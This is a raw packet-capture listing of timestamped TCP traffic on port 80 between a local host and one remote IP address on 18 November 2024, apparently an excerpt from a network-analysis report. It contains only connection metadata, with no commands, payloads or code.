Nov 18, 2024 19:04:12.727988958 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.728039980 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.728231907 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.728246927 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.728291035 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.728387117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.728408098 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.728425026 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.728441954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.728452921 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.728463888 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.728499889 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.728880882 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.728933096 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.729042053 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.729058027 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.729073048 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.729089022 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.729095936 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.729105949 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.729110956 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.729137897 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.729160070 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.729690075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.729706049 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.729722023 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.729732990 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.729737997 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.729744911 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.729757071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.729767084 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.729787111 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.729796886 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.730324030 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.730340004 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.730355024 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.730370045 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.730376959 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.730386019 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.730396986 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.730420113 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.730853081 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.730869055 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.730884075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.730905056 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.730907917 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.730930090 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.730951071 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.731414080 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.731431007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.731470108 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.731470108 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.731484890 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.731498957 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.731530905 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.731544018 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.769895077 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.769958973 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.769973993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.770009041 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.770020008 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.770132065 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.770165920 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.770181894 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.770200968 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.770209074 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.770237923 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.771357059 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.771404028 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.771410942 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.771441936 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.771466970 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.771486998 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.771538019 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.771594048 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.830506086 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.830519915 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.830538988 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.830590963 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.830631971 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.830646992 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.830661058 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.830672979 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.830701113 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.830723047 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.831002951 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.831016064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.831027031 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.831058979 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.831084013 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.831557989 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.831617117 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.831651926 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.831665039 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.831702948 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.831892967 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.831904888 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.831949949 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.832134008 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.832145929 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.832156897 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.832184076 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.832209110 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.875899076 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.875936985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.875979900 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.876022100 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.876655102 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.876724958 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.876770973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.876807928 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.876825094 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.876842022 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.876853943 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.876878023 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.876890898 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.876913071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.876928091 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.876959085 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.878380060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.878416061 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.878441095 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.878474951 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.878492117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.878531933 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.878559113 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.880171061 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.880206108 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.880225897 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.880255938 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.880289078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.880302906 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.880323887 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.880333900 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.880390882 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.881982088 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.882016897 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.882050991 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.882067919 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.882086992 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.882118940 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.882121086 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.882138968 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.882155895 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.882165909 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.882189989 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.882209063 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.882239103 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.883131027 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.883166075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.883188963 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.883202076 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.883204937 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.883238077 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.883245945 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.883274078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.883307934 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.883326054 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.883461952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.883914948 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.883949995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.883975029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.883984089 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.883990049 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.884018898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.884028912 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.884053946 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.884067059 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.884089947 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.884100914 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.884140015 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.884143114 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.884201050 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.884275913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.884311914 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.884321928 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.884356976 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.889411926 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.889456987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.889463902 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.889476061 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.889496088 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.889529943 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.889682055 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.889698982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.889749050 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.889766932 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.890943050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.890958071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.890974045 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.891002893 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.891031981 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.891280890 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.891334057 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.949276924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.949337006 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.949371099 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.949372053 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.949409008 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.949409008 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.949469090 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.949513912 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.949523926 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.949573040 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.949773073 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.949820042 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.949826956 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.949856997 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.949867964 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.949891090 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.949913025 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.949924946 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.949939966 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.949986935 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.950443029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.950486898 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.950495958 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.950532913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.950541973 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.950578928 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.950822115 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.950856924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.950867891 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.950894117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.950901031 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.950928926 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.950937986 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.950970888 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.951306105 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.951356888 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.996114969 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.996176958 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.996186972 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.996203899 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.996229887 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.996253014 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.996396065 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.996411085 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.996424913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.996433973 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.996443033 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.996445894 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.996464968 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.996484041 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.996889114 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.996903896 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.996920109 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.996932983 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.996936083 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.996942997 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.996953011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.996961117 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.996969938 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.996989012 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.997828960 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.997844934 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.997860909 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.997869015 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.997888088 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.997895002 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.998642921 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.998658895 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.998673916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.998688936 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.998692036 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.998703957 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.998713017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.998728991 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.998737097 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.998743057 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.998765945 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.998783112 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.999876022 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.999891996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.999907017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.999922037 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.999922991 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.999931097 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.999936104 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.999946117 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.999952078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.999959946 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.999983072 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.999998093 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.000436068 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.000452042 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.000466108 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.000479937 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.000480890 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.000488997 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.000497103 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.000507116 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.000514984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.000514984 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.000530005 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.000536919 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.000544071 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.000562906 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.001271009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.001286983 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.001302958 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.001313925 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.001318932 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.001324892 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.001334906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.001344919 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.001352072 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.001353025 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.001367092 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.001379013 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.001384974 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.001406908 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.008244038 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.008260965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.008275986 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.008301020 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.008322954 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.008424997 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.008443117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.008475065 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.008491039 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.009839058 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.009865999 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.009881973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.009887934 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.009901047 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.009911060 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.010050058 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.010093927 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.068213940 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.068234921 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.068254948 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.068334103 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.068376064 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.068447113 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.068464041 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.068487883 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.068500042 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.068655014 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.068670988 CET	80	49977	31.41.244.11	192.168.2.5
